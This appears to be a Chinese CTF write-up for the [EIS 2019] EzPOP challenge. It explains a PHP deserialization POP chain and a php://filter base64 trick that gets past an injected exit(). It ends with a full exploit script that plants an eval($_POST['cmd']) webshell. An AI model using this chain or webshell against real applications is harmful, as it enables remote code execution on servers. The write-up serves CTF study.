考点:

    POP链的构造:新瓶旧酒,但自己审计起来还是异常的困难。。哎

    死亡退出:新知识,参考https://blog.csdn.net/ITmincherry/article/details/96166423

    PS:这篇本来应该在《学习web的知识》里面的,不知道语雀是不是特别垃圾,内容一多久容易崩,搞得我只能从新写一篇

    这一篇参考了:https://www.freesion.com/article/4604283472/

    但是仍然看得很困难,写写自己对这题的理解和思路吧

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图1

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图2

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图3

    代码审计

    首先题目告诉了我们是POP链,那我们就从这个方面去构造一下POP链。重点是能看懂代码(很显然2020-4-23日的我能力还有所欠妥)

    首先来看一下B类(为什么?你想看哪个看哪个咧,你看得懂你就看咧):

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图4

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图5

    可以看出,不出意外应该存在一个数组options;

    往常的题目POP链是通过内置函数(就是他代码里自己编写有的比如highlight_file)来给我们构造POP链间接调用这些函数从而读取flag文件

    这题不一样,这一题貌似没有读文件的函数给我们,但是我们在B类里发现了,写文件的函数。

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图6

    写文件能上传,这让我想到了一句话木马,CTF中文件上传类型的题,那我是不是可以写一句话从而getshell?

    那么现在问题来了。有写过《死亡退出》这题的就发现了,有一句话阻拦了我们。

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图7

    即使我们能写入$data(file_put_contents是写入函数),但是99行的$data被拼接上了一句话。并且里面有exit();也就是说,你要想执行你的webshell,是不可能的,因为在你调用的时候直接给你exit()挂掉了。

    那怎么办,参考郁离歌大佬的blog:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

    99行那一串字符串长度为32(4的倍数),所以不用注意,只要不影响原值,哪个函数都行。这里我选择用strval,用strip_tags,当然也可以。所以$b->options['serialize']='strval'

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图8

    这里我说一下我当时看到这里的疑惑为什么要加strval或者strip_tags?

    因为这个原文章的blog主跳步骤说了,在data数据写入的时候还有个处理函数

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图9

    跟进一下serialize

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图10

    注意我刚刚的原话,是不影响原值,什么都可以,只要有,就行,在郁离歌的blog里,确实提到了这两个函数,并且这两个函数不会影响到我们的最后的参数,无所谓反正就是。

    到这里 还有一个问题?说了半天写入webshell,写到哪还没说。。。。emmm

    那不明摆着写入$filename吗?POP链的构造和死亡退出([EIS 2019]EzPOP) - 图11

    但是有个问题,filename在哪,我们可控么?

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图12

    跟进这个函数

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图13

    我们的filename会是由 potions[prefix]+$name构成的

    我们的$filename要变成

    $b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/'

    这样就完成了对B类的操作

    我们现在理一下思路:现在我们解决了写入,明确了怎么样getshell,并且得到了个信息是有这么个数组options[]。

    问题来了?谁来调用$b->set()???

    回到A类

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图14

    跟进这个cleanContents函数

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图15

    可以发现$a->catch的构造。在cleanContents()中,array_intersect_key()是比较两个数组的键名并返回交集,所以我们$object的键选$cachedProperties中任意一个都行,这个选择path。值就是我们的Shell,用base64编码。

    1. $object = array("path"=>"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==");

    到这又傻了,为啥要base64,编码?

    敲黑板,记好了,顺便理一下思路

    我们从B类知道我们可以写入一个WebShell,但是由于死亡退出的存在,我们写入也不执行,这个时候我们写入的

    “WebShell”+”一串字符串”

    用base64强制编码($b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/'),死亡退出失效,而我们的base64编码的WebShell变成正常的字符串(这就是为什么用base64编码,因为我们之前解码了,为了让他变成正常的字符串)。

    如果我们设值$path='1',$complete='2',则最后得到的$contents会是

    1. [{"1":{"path":"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ=="}},"2"]

    其中$complete='2'因为在shell后面,所以并不影响解码。在本地试了试,发现$path='111'时,可以正常解码shell。这样的话,$data已经设置完毕。

    回到问题,谁来调用set?

    POP链的构造和死亡退出([EIS 2019]EzPOP) - 图16

    懂的都懂,只需要吧store变成B类就完事了

    链的思路:

    A类__destruct()调用A类save()

    通过构造A$storeB对象,从而在A类save()中调用B类set

    B类set中最终完成shell的写入

    最后exp:

    1. <?php
    2. class A{
    3. protected $store;
    4. protected $key;
    5. protected $expire;
    6. public function __construct()
    7. {
    8. $this->key = 'pz.php';
    9. }
    10. public function start($tmp){
    11. $this->store = $tmp;
    12. }
    13. }
    14. class B{
    15. public $options;
    16. }
    17. $a = new A();
    18. $b = new B();
    19. $b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
    20. $b->options['expire'] = 11;
    21. $b->options['data_compress'] = false;
    22. $b->options['serialize'] = 'strval';
    23. $a->start($b);
    24. $object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
    25. $path = '111';
    26. $a->cache = array($path=>$object);
    27. $a->complete = '2';
    28. echo urlencode(serialize($a));
    29. ?>

    这里PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg<?php eval($_POST['cmd']);?

    具体操作

    https://www.freesion.com/article/4604283472/